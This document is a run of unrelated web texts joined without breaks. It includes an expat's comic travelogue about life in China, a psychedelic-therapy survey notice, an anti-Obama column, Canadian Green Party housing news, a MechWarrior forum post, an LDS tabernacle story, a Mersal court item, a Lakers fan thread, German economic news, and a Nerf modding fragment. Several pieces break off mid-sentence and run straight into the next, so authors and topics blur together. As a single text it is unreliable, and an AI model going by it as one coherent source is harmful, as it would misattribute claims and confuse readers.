To clarify, no, I am not famous (settle down settle down), the reason they wanted my picture was the same reason everyone asks me, and the same reason everyone will ask you if you venture on over to mainland China. We’re westerners, plain and simple, and in many Chinese people’s eyes, we are also all American, or, if you’re blond like me, then you’re Russian.
Side Note – for those of you who are not, or do not look western, your experience may differ. Racism is openly expressed in China. Terms and conditions apply.
When first arriving in China as a westerner, this attention can seem quite flattering, but very quickly, and I do mean quickly, it becomes one of the most intrusive, bad mannered irritants known to expats.
This attention doesn’t just manifest itself through the taking of pictures, but also in the form of pointing, whispering, shouting and even harassment. You see, they’re entirely fascinated by westerners, maybe fascination is too strong a word, but they’re curious all the same. Displaying ‘curiosity’ this way, because I am different in appearance, is as acceptable as me tipping someone out of their wheelchair because I’m ‘curious’ to see if they can walk, bottom line is, it’s not acceptable.
Tirade over.
The following day, I had finished my afternoon lesson and was heading to the usual street of restaurants with Ralph. He was always a secretive man, so much, in fact, he failed to mention that on this particular occasion, we would be meeting with someone along the way.
“What are we doing? I thought we were grabbing lunch?” I had asked as we took a sudden stop by the metro.
He said, “I’m just meeting someone first”
Looking over Ralphs’ shoulder, I saw a male westerner, and in China, that basically makes you brothers.
I had said assumingly, “that him?” nodding in the direction of the westerner.
Ralph turned around, and approached the westerner sitting on the stairs and said, “are you, Wallace?”
Wallace was a new member of staff to join the company, a man of my age who revealed himself to be a very funny, blithe Scotsman. I know what you’re thinking, “Scottish?… Dick?”, but other than living on the set of Braveheart, they shared no connection whatsoever.
Myself and Wallace later became very close friends as we confided in one another about embarrassing and utterly infuriating moments we had experienced. We would go on to see each other every Saturday, the champion day of the week, as we would be teary-eyed at the result of British humour which we would slap in each other’s faces.
‘Mucking about’, as we call it in the U.K, or ‘fooling around’, was something that I didn’t realise I missed so much, the ability to spout utter whimsical nonsense, innuendos, puns, slang and any other form of childishness that we could intertwine into our conversations.
We were like two boys scheming up in a tree house, talking in code as if it were a secret that no one else knew, a mysterious language shrouded in childishness. This came in handy when trying to have a conversation without the Chinese English-speaking staff eavesdropping.
One evening, we went out for a meal, which in China is very cheap to do, meaning you can eat out once or twice a day, ‘errday’ (that’s a positive).
The following meal was particularly memorable, as a series of events, one after another, took place to make one of the most entertaining, disgusting and humorous evenings I ever had when eating out.
We both enjoyed Chinese cuisine, but from time to time, we liked to remind ourselves of our ‘ethnic dishes’, with Chinese interpretations of western food (I use the term ‘interpretations’ loosely… ethnic dishes too).
We walked into a ‘western-themed’ restaurant, and the staff looked as miserable and pissed off as always, greeting us with a monotoned ‘welcome grunt’, peeved as we had interrupted them from socialising with one another.
This etiquette is common throughout Chinese customer service, for example, I was once purchasing office supplies from a nearby convenience store, and I had approached the cash register where a member of staff remained seated and occupied with her phone. After ‘disturbing’ her with a polite “bu hao yi si” (excuse me), she huffed, aggressively snatched the products from my hand to scan them, and then angrily threw my change onto the floor.
(I have many stories like that)
Back at the restaurant, me and Wallace were allocated a waitress, and whilst texting on her phone (yeah, I did say it was common), escorted us to a table that was directly situated next to another customer, in a bid to squeeze in as many people as possible (which is the complete opposite in Japan, where they sit you as far away from one another as possible).
This was a problem for me, as not only do I like my personal space, I know how some Chinese people can behave in restaurants. I didn’t want my meal to have to suffer any kind of molestation, from body fluid being projected into it.
I had requested a “quiet table in the corner please.”
Though, that ‘unreasonable’ request was shot down immediately with a direct and deadpan, “no”.
Upon being seated, the waitress remained poker-faced as she so clearly blamed us for having to make her work, and upon taking our order, she snatched (again, I said it was common) the menus back from our hands, and finished texting before taking our orders to the kitchen.
Whilst sitting there, we, the foreigners, received curious glares from the customers, and futile poor attempts from the staff, as they looked at us from behind menus and the cash register. It was as if we were two Mafioso, and the entire rendezvous was staked out by amateur detectives, literally not fooling anyone that they were staring right at us.
Take this moment to consider the western order in which food is eaten, firstly we have starters/appetizers, secondly, we have main courses,
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exist and what impressions people have of their work. No information (including IP address) will be collected from you. Thank you for taking part!
As the successes of psychedelic treatment studies into such disorders as PTSD and existential anxiety disseminate through the media, increasing numbers of people look for opportunities to try these therapies for themselves. It is clear that there is a need for a greater number of therapists than these hospital studies can provide, and many people are actively searching for underground practitioners. However, it is unclear how widely available such practitioners are. Furthermore, in the absence of institutional quality assurance, it is important to understand the successes and failures, sound methods and unethical transgressions, that are affected by these underground therapists. This survey seeks to gather the public's impressions and knowledge into these issues.
The survey will as you to complete the same questions for each underground psychedelic psychotherapist you know - either personally or indirectly.
Please click below to start.
If you have any comments or questions, or if you would like to elaborate on some element of this topic, please email me at [email protected]. This survey is not affiliated with any public or private institution or organization.While the president stumbles from one debacle to another, the greatest country on earth sinks into an ever-expanding abyss.
President Obama is the ultimate bull in a china shop when it comes to governing at home or conducting foreign policy — and he carries his shop around with him just in case he runs out of things to break.
Obama’s feckless administration not only gives new meaning to “the gang that couldn’t shoot straight,” but the chosen-one-in-chief rides side-saddle into every confrontation.
While the president stumbles from one debacle to another, the greatest country on earth sinks into an ever-expanding abyss of domestic turmoil, corruption, deception, economic anemia, self-indulgence, over-regulation and global emasculation.
Where the rubber meets the road is the same place Obama’s left-wing ideology melds with gross mismanagement, fanned by a compliant mainstream media that ignores or under-reports every failure of leadership.
Obamacare, Benghazi cover-up, IRS abuses, VA mismanagement, journalistic eavesdropping, “Fast and Furious” gun-running, Mexican border chaos, Russian expansion, China’s military buildup, Iran’s march to a nuclear weapon, the bloodbath in Syria, disintegration of conditions in Iraq, deterioration of relations with Israel, and the recent exchange of five high-ranking Taliban terrorists for a U.S. Army deserter.
All these have occurred on Obama’s watch — the fruits of hope and change.
Read or Share this story: http://on.thec-l.com/T0evEeCanada could end homelessness and become a world leader in energy efficiency through a national strategy, says Green Party Leader Elizabeth May.
Calling the shortage of housing for First Nations, Métis and Inuit a national "ongoing scandal," May announced a three-pronged national housing strategy that would also aim to ensure seniors and low-income Canadians have a place to call home.
"It is no longer acceptable for Canadians, that any of us, should live without adequate housing. Housing is a human right, and in Canada as a wealthy country, we simply have no more excuses for our failure to ensure housing, May said during a campaign stop in Burnaby, B.C.
Foreign investors driving up housing prices
May said the Conservative government has rolled out the red carpet for wealthy foreign investors, who have gobbled up properties and created a dire shortage of affordable housing for Canadians. The problem is most critical in B.C.'s lower mainland.
"This is something we can stop without offending any trade deals or any provincial rules," she said.
Some highlights of the Green housing strategy:
Create one-on-one outreach for chronically homeless Canadians.
More funding for co-operative housing to create more affordable housing projects.
Retrofit homes by 2030 to increase energy efficiency.
Eliminate pilot program that allows foreign ownership of properties.
Increased access for First Nations on and off-reserve.
Ensure a percentage of new housing units are reserved for affordable housing.
May said federal funding should help build affordable homes and hire carpenters, contractors and electricians to increase energy efficiency.That plan would cut heating and electricity bills for Canadians and work to meet climate change goals, she said.
The Green Party housing plan also commits to improving substandard housing for First Nations and wants a "guaranteed liveable income" to replace federal transfers for social assistance, disability supports and other benefits for children and the elderly. According to the party's platform documents, the principle is to establish an "income floor" below which no Canadian could fall, but with incentives for recipients to continue working and earn more.
Fran Hunt-Jinnouchi, former First Nations chief and Green candidate for the B.C. riding of Cowichan—Malahat—Langford, said housing is the most critical issue for aboriginal Canadians. The guaranteed income would help those now forced to "couch-surf" or live on the streets, she said.
"Really the issue here is poverty, and that's the first step that we have to address," she said.
Taking questions from reporters after the announcement, May blamed Conservative policies favouring the oilsands for the current economic uncertainty.
"All policies, whether environmental, or social, or you name it, have been sacrificed to getting as much unprocessed bitumen out of Canada to be refined in as many other countries as possible," she said. "This is a strategy based on high-volume exports of a low-value product. It means for every barrel of bitumen we want to ship offshore, we're shipping off jobs with it."
Small deficit 'not a big deal'
She said bringing in austerity measures to eliminate a small deficit is "shameful and bad economics" if the country is teetering near a recession. A $1-2 billion deficit in a $2-3-trillion economy is "not a big deal."
"Running deficits to ensure we stay healthy as an economy is sensible," she said.
May also predicted there will be a minority government in the next Parliament, and urged Canadians to elect Green MPs who will work collaboratively and productively to influence social and environmental policy.Posted 09 September 2015 - 09:59 AM
Missiles are the one weapon family that I firmly believe is where MWO took a backwards step from its predecessors.
I still firmly believe that as a whole, the entire way MW4 and the Battletech Firestorm Sim pods handle the Missile family is very supperior to what we have right now in the game.
There was so much depth in the system that was still accessible to the players.
SRM's still dumb fired when you didn't have the reticle over anything, but they allowed for "soft locks" to happen when you fired the weapon system where the reticle scored a direct hit scan hit on triggerpull.
Soft locking allowed SRM's to actually "home in" on their targets, but only corrected their coarse about 30-50 degrees, so at longer ranges, they became more useful, they spread the damage around the mechs more evenly because the spread adjusted when you where soft locked (but still remained tight if you dead fired.)
Streak SRM's where still valid despite soft locking because of the "safe fire" (didn't fire unless you where guaranteed a lock,) and they had infinite turn radius unlike the limited arcs of SRM's that where soft locked.
LRM's still funcitoned similarly to what you see in MWO, but they ALSO had a soft lock option, where if you pulled the trigger when the reticle is over the mech without a hard lock, the missiles would still "seek" the mech as long as you KEPT direct line of sight with the mech. If you broke LOS, your missiles would loose their lock with no chance of getting it back.
Hard locks where only really for a much higher chance of "guarnateed hits" even if the mechs sought cover behind terrain.
NARC's weren't some silly status, they where an actual beacon that attached to the mech. A mech that was narced had a PHYSICAL beacon on a mechs location. (blinked and everything.) It allowed faster hard lock times, and for soft locks, it granted soft locks to LRM's and SRM's with them only needing to have the reticle in the general vacinity of the narc beacon to get a lock, not physically on the model (Think the range you see the lock reticle on LRMs right now, but only for instant trigger pull ONLY when a mech was NARCed.)
ECM prevented hard locks just like in MWO, but the SOFT LOCK option was always there if you had direct line of sight, and if you had the SKILL to aim and fire at the precise moment your reticle is on the mech.
The MWO system for all their missile systems is so dull by comparison.
Small launchers are useless with their current stats, Large launchers are dead weight because of their spread, and the whole system itself while simple is SOO dependent on binary counters that it just makes the entire weapon family dull by comparison.
I REALLY wish they would integrate more of the depth you saw in the missile systems of the MW predecessors. Because right now, its a fairly dull system in comparison, and probably the only spot where I feel MWO has gone backwards in progress from what MW games have done before it.The Huntington Beach Church of Jesus Christ of Latter-day Saints is bringing back some old-time religion. Really old-time.
A full-scale replica of the tabernacle built by Moses and the Israelites, and described in the Old Testament, was set up by members of the Huntington Beach Mormon stake, or congregation, in the parking lot of the church in Fountain Valley.
It will be open for guided tours from 5 to 8 tonight and from 11 a.m. to 4 p.m. Saturday. Also scheduled is an interfaith celebration from 11a.m. to 1p.m. today with Catholic, Christian, Islamic and Jewish faith leaders.
The idea was born after Rick Johnson, president of the Huntington Beach Mormon stake, saw a similar replica in Idaho in August 2015. The tabernacle, or tent sanctuary, was made to the exact scale described in Scripture, down to the cubit.
Although the early tabernacle was made of wood and plated in gold, this wooden replica is covered in metallic gold paint.
The structure was built by congregants and about 450 youths and teens as a centerpiece for a summer youth conference in Murrieta, and reassembled this week at the church, at 17500 Bushard St.
“It’s been a real labor of love,” Johnson said. “It’s been a neat opportunity to share it with others.”
On its first night, Tuesday, more than 900 visitors toured the site.
The tabernacle also includes a courtyard area, replica altars of sacrifice and incense, a laver of water, a menorah and a table of unleavened showbread.
In the back of the tabernacle is the Holy of Holies, the sanctuary where God was said to dwell. The sanctuary houses replicas of the Ark of the Covenant, which consisted of a cover with angels known as the Mercy Seat, and the ark itself, which contained the tablets with the Ten Commandments that Moses brought down, a golden bowl containing manna, or food, and a rod that belonged to Moses’ brother, Aaron.
In ancient times only the High Priest could enter the Holy of Holies and only once a year on Yom Kippur to offer blood from a sacrificed animal and burn incense.
As Johnson describes it, the journey through the tabernacle is not unlike a faith journey.
“We believe in sacred spaces,” he said. “The further you go in, you get further and further from the world and nearer to God.”
To Johnson, the idea of worship places transverses many religions, making the tabernacle valuable to people of different faiths. This helps explain why his church’s display has gotten so much interest, he said.
To congregants, the tabernacle and its contents are part of God’s way of foretelling the coming of his son.
“Most all of the things reflect Jesus Christ and his ministry,” said Elder Taylor Feitz, one of the tour guides.
He said “being able to see and visualize (the tabernacle) brings Jesus to life in a different way.”
For Einon Brock, who just started his two-year mission in Southern California, the ancient tabernacle draws a line to the temples of today.
In addition to the tabernacle, the Mormon church opened its doors and is showing a video about the making of the tabernacle. There are additional historic displays in the church’s cultural hall.
Johnson said plans are in place to turn the tabernacle into a traveling display, with trips to USC and Ann Arbor, Mich., being considered.
Contact the writer: [email protected]: Madras HC dismisses calls for ban on Vijay's film; says 'freedom of expression is for all'
Ever since Vijay's latest film Mersal got released, it has been mired in controversies — the biggest and most controversial one being that of the BJP's stand on banning the film. The party claims the film takes a jibe at BJP-led central government's policies like GST (Goods and Services Tax), demonetisation and Digitial India and shows them in poor light. In fact, recently an activist had filed a PIL against the film, reports news18.
And now, according to TV reports on CNN-News 18, the Madras High Court, on 27 October, dismissed the plea and backed the film.
It said if you "don't like the film, don't watch it." It also added that a film, like Mersal, is after all "not real, but an imaginative story. So, there's nothing wrong in it."
#BREAKING – Madras HC dismisses PIL against #Mersal; Madras HC says it is just a film, not reality | @nimumurali with more details pic.twitter.com/6uxwqspLZl — News18 (@CNNnews18) October 27, 2017
The High Court also reiterated that every person in the country has the right to exercise their fundamental rights. It said, "Everyone has the right to free speech. Freedom of expression is for all."
The person who had filed the PIL against the film also reportedly claimed that because of the protest, the film is garnering a lot of publicity.
Upon its release on 18 October, this Diwali, Vijay's Mersal has emerged as a huge blockbuster and is on its way breaking records after records. It is all set to cross the benchmark of Rs 200 crore worldwide gross revenue. The film's music has also created a record by reaching 100 million streams within a span of 10 days, as reported by Sony Music India.
However, the Telugu version of the film, Adhirindi's release was postponed over the censoring of the dialogues on the Goods and Services Tax (GST).
Directed by Atlee, Mersal stars Vijay in a triple role along with Nithya Menen, Kajal Aggarwal and Samantha Ruth Prabhu in leading roles.
Updated Date: Oct 27, 2017 12:16:32 ISTAuthor Message
Swarley
Joined: 23 May 2011
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Posted: Mon Jun 13, 2011 11:44 pm Post subject: Just finished watching a bunch of prime Kobe playoff videos Anybody who compares Lebron to a prime Kobe is just ignorant. Prime Kobe is so much better than Lebron, it's not even funny. Along with Jordan, the most complete player the game has ever seen.
pkflyers
Joined: 18 Jul 2008
Posts: 12517
Location: 714/562 Franchise PlayerJoined: 18 Jul 2008Posts: 12517Location: 714/562
Posted: Mon Jun 13, 2011 11:49 pm Post subject:
http://www.youtube.com/watch?v=RyKgaeAoa-g
http://www.youtube.com/watch?v=4FpzQiERt8I
_________________
DISGUSTING:
this is a thing of beauty, im going to cry when he retires_________________DISGUSTING: http://youtube.com/watch?v=IUtf6-avo2c Big Game James wrote: I'm Kwame Brown and every one of my posts seem to be moved. I find this perplexing because I've never had a post move before!
http://tinyurl.com/snxt
Last edited by pkflyers on Mon Jun 13, 2011 11:58 pm; edited 1 time in total
RealOne
Joined: 10 Jun 2009
Posts: 15000
Location: Retired Moniker Franchise PlayerJoined: 10 Jun 2009Posts: 15000Location: Retired Moniker
Posted: Mon Jun 13, 2011 11:58 pm Post subject: That compilation was extremely well done, it's not going to be the same without him. Glad that he's seeking state of the art treatments to heal up and extend his playing career.
He's all about winning and basketball; he's never "happy" to just live his life, his relentless pursuit of perfection is unparalleled. That compilation was extremely well done, it's not going to be the same without him. Glad that he's seeking state of the art treatments to heal up and extend his playing career.He's all about winning and basketball; he's never "happy" to just live his life, his relentless pursuit of perfection is unparalleled.
USCandLakers
Joined: 13 Mar 2008
Posts: 19714
Franchise PlayerJoined: 13 Mar 2008Posts: 19714
Posted: Tue Jun 14, 2011 12:04 am Post subject:
It's going to absolutely suck to see him go after all these years and all these championships.
_________________
A banana is killed every time a terrible thread or post is made. Save the bananas. Stop creating terrible posts! Kobe is going to make a real good personal coach one day. Just think about it. All of the great things he does on the floor is teachable. It may take a lot of hard work, but it's teachable. His post game, his footwork, his jumper, his defense, his knowledge, his fundamentals. Can't teach heart and desire, but if Kobe gets the right player under his wings, he could transform him into a star.It's going to absolutely suck to see him go after all these years and all these championships._________________A banana is killed every time a terrible thread or post is made.Save the bananas. Stop creating terrible posts!
All Net
Joined: 15 Jul 2009
Posts: 2221
Location: Los Angeles Star PlayerJoined: 15 Jul 2009Posts: 2221Location: Los Angeles
Posted: Tue Jun 14, 2011 12:09 am Post subject: Always fun to look back...was a joy to watch.
singlecamVTEC
Joined: 05 Feb 2009
Posts: 1457
Star PlayerJoined: 05 Feb 2009Posts: 1457
Posted: Tue Jun 14, 2011 1:03 am Post subject: Wow that 1st link, that foot work..amazing.
Anon-kun
Joined: 02 Jan 2010
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Posted: Tue Jun 14, 2011 1:16 am Post subject:
those were the days look at him dunking on everyonethose were the days
Jeffs
Joined: 17 Aug 2006
Posts: 25274
Retired NumberJoined: 17 Aug 2006Posts: 25274
Posted: Tue Jun 14, 2011 3:35 am Post subject: USCandLakers wrote: Kobe is going to make a real good personal coach one day. Just think about it. All of the great things he does on the floor is teachable. It may take a lot of hard work, but it's teachable. His post game, his footwork, his jumper, his defense, his knowledge, his fundamentals. Can't teach heart and desire, but if Kobe gets the right player under his wings, he could transform him into a star.
It's going to absolutely suck to see him go after all these years and all these championships.
What Kobe does is so amazing because he isn't the biggest, fastest, or most athletic. He's an elite athlete, but he doesn't completely outclass his defenders like LeBron does and Jordan did. Kobe beats people because he puts in the time and the work to improve every aspect of his game.
_________________
Jeffs
I feel like I just watched someone TRULY give 100%. Not the BS I'm-gonna-give-a-110%-just-like-everyone-else-says platitudes, but someone that went until he just....broke. - GT
kobeandgary
Joined: 18 Apr 2004
Posts: 6104
Location: virginia Star PlayerJoined: 18 Apr 2004Posts: 6104Location: virginia
Posted: Tue Jun 14, 2011 4:49 am Post subject: Jeffs wrote: USCandLakers wrote: Kobe is going to make a real good personal coach one day. Just think about it. All of the great things he does on the floor is teachable. It may take a lot of hard work, but it's teachable. His post game, his footwork, his jumper, his defense, his knowledge, his fundamentals. Can't teach heart and desire, but if Kobe gets the right player under his wings, he could transform him into a star.
It's going to absolutely suck to see him go after all these years and all these championships.
What Kobe does is so amazing because he isn't the biggest, fastest, or most athletic. He's an elite athlete, but he doesn't completely outclass his defenders like LeBron does and Jordan did. Kobe beats people because he puts in the time and the work to improve every aspect of his game.
i have to disagree, at kobe's prime i think he was just about the best athlete in the game, his in game dunks show cased it. and young kobe had as good a first step as anybody ever.
dangle
Joined: 30 Jun 2005
Posts: 1040
Star PlayerJoined: 30 Jun 2005Posts: 1040
Posted: Tue Jun 14, 2011 6:31 am Post subject: pkflyers wrote: this is a thing of beauty, im going to cry when he retires
http://www.youtube.com/watch?v=RyKgaeAoa-g
http://www.youtube.com/watch?v=4FpzQiERt8I
_________________
Lakers and Steelers, the two best sports franchises in the world! _________________Lakers and Steelers, the two best sports franchises in the world!
lakergal16
Joined: 10 Jun 2010
Posts: 1904
Location: San Gabriel Valley Star PlayerJoined: 10 Jun 2010Posts: 1904Location: San Gabriel Valley
Posted: Tue Jun 14, 2011 6:44 am Post subject: kobeandgary wrote: Jeffs wrote: USCandLakers wrote: Kobe is going to make a real good personal coach one day. Just think about it. All of the great things he does on the floor is teachable. It may take a lot of hard work, but it's teachable. His post game, his footwork, his jumper, his defense, his knowledge, his fundamentals. Can't teach heart and desire, but if Kobe gets the right player under his wings, he could transform him into a star.
It's going to absolutely suck to see him go after all these years and all these championships.
What Kobe does is so amazing because he isn't the biggest, fastest, or most athletic. He's an elite athlete, but he doesn't completely outclass his defenders like LeBron does and Jordan did. Kobe beats people because he puts in the time and the work to improve every aspect of his game.
i have to disagree, at kobe's prime i think he was just about the best athlete in the game, his in game dunks show cased it. and young kobe had as good a first step as anybody ever.
Kobe's arguably the best in-game dunker to ever play. Just ridiculous and crazy dunks and body control.
I can't fathom the day Kobe hangs them up. I'll probably need to take days off from work to get myself together.
Andrew Evenstar
Joined: 11 May 2008
Posts: 3461
Location: ventura 805 Star PlayerJoined: 11 May 2008Posts: 3461Location: ventura 805
Posted: Tue Jun 14, 2011 6:48 am Post subject:
_________________
http://www.twitch.tv/andrew_evenstar
https://www.youtube.com/user/BiohazardMercenaries
LAKERS|RAIDERS|CUBS Not to toot my own horn, but I provided the music for greatness personified and I know that mix maxer very well. that vid is just sick._________________LAKERS|RAIDERS|CUBS
vanexelent
Joined: 17 May 2005
Posts: 28557
Retired NumberJoined: 17 May 2005Posts: 28557
Posted: Tue Jun 14, 2011 7:05 am Post subject: dangle wrote: pkflyers wrote: this is a thing of beauty, im going to cry when he retires
http://www.youtube.com/watch?v=RyKgaeAoa-g
http://www.youtube.com/watch?v=4FpzQiERt8I
This second video makes me miss the old Pau more...
undefeatedAJ
Joined: 26 Mar 2009
Posts: 5940
Star PlayerJoined: 26 Mar 2009Posts: 5940
Posted: Tue Jun 14, 2011 7:38 am Post subject: pkflyers wrote: this is a thing of beauty, im going to cry when he retires
http://www.youtube.com/watch?v=RyKgaeAoa-g
http://www.youtube.com/watch?v=4FpzQiERt8I
(bleep) yeah
Lakersneuron
Joined: 21 Nov 2008
Posts: 4443
Star PlayerJoined: 21 Nov 2008Posts: 4443
Posted: Tue Jun 14, 2011 9:32 am Post subject: Andrew Evenstar wrote: Not to toot my own horn, but I provided the music for greatness personified and I know that mix maxer very well. that vid is just sick.
appreciate the work! keep them coming!!! appreciate the work! keep them coming!!!
postandpivot
Joined: 16 Sep 2003
Posts: 36822
Retired NumberJoined: 16 Sep 2003Posts: 36822
Posted: Tue Jun 14, 2011 9:52 am Post subject: kobeandgary wrote: Jeffs wrote: USCandLakers wrote: Kobe is going to make a real good personal coach one day. Just think about it. All of the great things he does on the floor is teachable. It may take a lot of hard work, but it's teachable. His post game, his footwork, his jumper, his defense, his knowledge, his fundamentals. Can't teach heart and desire, but if Kobe gets the right player under his wings, he could transform him into a star.
It's going to absolutely suck to see him go after all these years and all these championships.
What Kobe does is so amazing because he isn't the biggest, fastest, or most athletic. He's an elite athlete, but he doesn't completely outclass his defenders like LeBron does and Jordan did. Kobe beats people because he puts in the time and the work to improve every aspect of his game.
i have to disagree, at kobe's prime i think he was just about the best athlete in the game, his in game dunks show cased it. and young kobe had as good a first step as anybody ever. no he wasn't. Vince was, no he wasn't, Tmac was, no he wasn't lebron is.
you ever see how high dwade gets up? you see that bad lob lbj thru to dwade in these finals and he still caught it?
kobe's speed when he first came in was probably the fastest of any guard in the game. his quicks were on par with all sg's and some pg's. but as he aged and other guys came into their own. you realized there are other hyper athletes just like him, that are as fast or so close you cant tell who's slower. as quick, and can jump as high/as quickly.
_________________
LAL4K3RS wrote: He(Kobe) is the white haired kung fu master that you realize is older than dirt but can still kick your arse when in a sitting position drinking a nice herbal tea.
Worthy42
Joined: 03 Aug 2004
Posts: 19951
Franchise PlayerJoined: 03 Aug 2004Posts: 19951
Posted: Tue Jun 14, 2011 11:13 am Post subject: Jeffs wrote: USCandLakers wrote: Kobe is going to make a real good personal coach one day. Just think about it. All of the great things he does on the floor is teachable. It may take a lot of hard work, but it's teachable. His post game, his footwork, his jumper, his defense, his knowledge, his fundamentals. Can't teach heart and desire, but if Kobe gets the right player under his wings, he could transform him into a star.
It's going to absolutely suck to see him go after all these years and all these championships.
What Kobe does is so amazing because he isn't the biggest, fastest, or most athletic. He's an elite athlete, but he doesn't completely outclass his defenders like LeBron does and Jordan did. Kobe beats people because he puts in the time and the work to improve every aspect of his game.
Kobe's basically the Jerry Rice of basketball.
MagicMamba88
Joined: 06 Dec 2007
Posts: 2198
Star PlayerJoined: 06 Dec 2007Posts: 2198
Posted: Tue Jun 14, 2011 11:39 am Post subject:
http://www.youtube.com/watch?v=33TdL_2X2yQ&hd=1
Kobe Bryant 2007-08 Dunks HD
http://www.youtube.com/watch?v=mJDzqZfvaqU&hd=1 Kobe Bryant : Prognatus Glorificus HDKobe Bryant 2007-08 Dunks HD
LALtripleOcho
Joined: 18 Feb 2010
Posts: 704
Starting RotationJoined: 18 Feb 2010Posts: 704
Posted: Tue Jun 14, 2011 11:46 am Post subject: lakergal16 wrote: kobeandgary wrote: Jeffs wrote: USCandLakers wrote: Kobe is going to make a real good personal coach one day. Just think about it. All of the great things he does on the floor is teachable. It may take a lot of hard work, but it's teachable. His post game, his footwork, his jumper, his defense, his knowledge, his fundamentals. Can't teach heart and desire, but if Kobe gets the right player under his wings, he could transform him into a star.
It's going to absolutely suck to see him go after all these years and all these championships.
What Kobe does is so amazing because he isn't the biggest, fastest, or most athletic. He's an elite athlete, but he doesn't completely outclass his defenders like LeBron does and Jordan did. Kobe beats people because he puts in the time and the work to improve every aspect of his game.
i have to disagree, at kobe's prime i think he was just about the best athlete in the game, his in game dunks show cased it. and young kobe had as good a first step as anybody ever.
Kobe's arguably the best in-game dunker to ever play. Just ridiculous and crazy dunks and body control.
I can't fathom the day Kobe hangs them up. I'll probably need to take days off from work to get myself together.
Who ever was arguing that Kobe is the best IN GAME dunker of alltime is very wrong. Vince Carter plays in the NBA.
_________________
The King stay the King.
rst08tierney
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Posts: 885
Starting RotationJoined: 15 Feb 2009Posts: 885
Posted: Tue Jun 14, 2011 12:00 pm Post subject: I think kobe has some more prime left in his tank
1000YOM
Joined: 15 May 2001
Posts: 164
Location: Los Angeles Starting RotationJoined: 15 May 2001Posts: 164Location: Los Angeles
Posted: Tue Jun 14, 2011 8:02 pm Post subject: Quote: All of the great things he does on the floor is teachable. It may take a lot of hard work, but it's teachable. His post game, his footwork, his jumper, his defense, his knowledge, his fundamentals.
While the techniques themselves may be teachable, are they all practical for the average player of average strength, size, and coordination?
Please wake me up when 6'7, 38" vertical, 7-foot wingspan, son of former athlete + NBA player is teachable, because that's the world I want to live in.
Flight#24
Joined: 18 Jun 2006
Posts: 7702
Star PlayerJoined: 18 Jun 2006Posts: 7702
Posted: Tue Jun 14, 2011 8:10 pm Post subject: It's too bad father time has to catch up to players like Kobe. He has entertained LA like few others in this city. It's going to be sad day when he hangs it up.
Prime Kobe was just ridiculous.
However, IMO the best Kobe in terms just efficiency, maturity, overall skills was in the beginning of last season (i.e oct, nov of 2009) before the injuries piled up. I get the feeling we are going to see that Kobe again next season.
Tottenham
Joined: 30 Sep 2007
Posts: 480
Starting RotationJoined: 30 Sep 2007Posts: 480
Posted: Tue Jun 14, 2011 8:13 pm Post subject: Who posted this on reddit as well?
_________________
Proud Tottenham Hotspur Football and Los Angeles Lakers Supporter
zurich78
Joined: 09 Jul 2010
Posts: 2661
Star PlayerJoined: 09 Jul 2010Posts: 2661
Posted: Tue Jun 14, 2011 8:19 pm Post subject: Flight#24 wrote: It's too bad father time has to catch up to players like Kobe. He has entertained LA like few others in this city. It's going to be sad day when he hangs it up.
Prime Kobe was just ridiculous.
However, IMO the best Kobe in terms just efficiency, maturity, overall skills was in the beginning of last season (i.e oct, nov of 2009) before the injuries piled up. I get the feeling we are going to see that Kobe again next season.
Agreed. We have seen two Kobes. The mature team-oriented Kobe that we saw last year (actually, I liked the Kobe of the previous year when we had Ariza and they all went out to dinner and he bought them all watches, etc).
But even though our team sucked in 2005-2006... man, that was an amazing year numbers wise for Kobe.
In Jan 2006, his worst game was a 27 pt game. The point totals for him that month were....
48, 50, 45, 41, 27, 38, 37, 51, 37, 81, 30, 39, 40
I find it really hard to believe we will ever see an offensive force like Kobe Bryant again.German factories have suffered a shock collapse in export business, as demand from outside Europe for German goods evaporated in July.
Non-eurozone orders slid by more than 9pc, sending overall export demand down by 5.2pc, according to figures from the country's federal statistical office.
Vanishing appetite for German wares drove down total industrial orders by a larger than expected 1.4pc, having grown by 1.8pc in June. It is the biggest drop in six months. Analysts had forecast factory orders to shrink by just 0.6pc.
The surprise decline suggests Germany's patchy recovery has yet to gather sustained momentum. Europe's largest economy, which has helped drive the rest of the single currency out of its turmoil, is heavily exposed to any downturn in the fortunes of China and the emerging world.
On Thursday, European Central Bank president Mario Draghi stressed that a slowdown in emerging markets would exert a sustained drag on the eurozone's 19 economies.
Mr Draghi said the bleak outlook for growth and inflation meant the ECB would be willing to expand and extend its €1.1 trillion quantitative easing programme.
The factory numbers sent Germany's benchmark DAX index down by 1.9pc in morning trading, while European markets reversed much of the gains made after the ECB's dovish noises.
Separate data from the construction industry saw output drop to a seven-month low as German builders struggled to avoid falling into stagnation.
The country's headline Purchasing Manager Index dropped to just 50.3 - any number below 50 indicates contraction.
"Companies noted a lack of incoming new business and reported pessimism towards the 12-month outlook for activity," said Oliver Kolodseike, economist at Markit, which compiles the report.
Weakness in the construction sector contrasts with Germany's booming services industry and manufacturers who roared ahead of the rest of Europe in August.
Follow the Telegraph on LinkedIn. Share this article with your network.I was looking at the layout of RAID-5 object configuration the other day, and while these objects were deployed on vSAN with 4 components, something caught my eye. It wasn’t the fact that there
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empty magwell for storage while never having to take your finger off the trigger and render yourself unable to fire.
That sounds all fine-and-dandy on paper, but where do we start? Well for one, we need a blaster that can conceivably feed from any orientation. The Nerf N-Strike Elite Rapidstrike was chosen because it’s a relatively simple concept: you insert a magazine filled with darts which gets locked into place, you press down one trigger to spin flywheels in front of the magazine, and you pull the other trigger to engage a motorized pusher which slides the top dart forward into the flywheels which sends it on it’s way. Better yet, the pusher is small and as long as the first dart is centered, it will fire it even if the magazine is upside down.
There’s our blaster, but what about the magazine wells? We’re going to need two of them and most blasters have them built in. I say most, because the Nerf N-strike Raider CS-35, the N-Srike Elite Rampage, and the Star Wars First Order Stormtrooper Deluxe blaster all have entirely functional magazine wells that you have to attach to the blaster before you can operate it, presumably to never be removed again; but that won’t stop you from removing a few screws and claiming it back. In this case, I used two of the Raiders since I had a few of them and they’re functionally inferior to the N-strike Elite line. Cutting into the Rapidstrike wasn’t much of an issue because most of the plastic in the middle of the blaster is shaped filler, and the magazines were test-fitted with the pusher to make sure they could feed properly. With that finished, it’s time to start the body work.
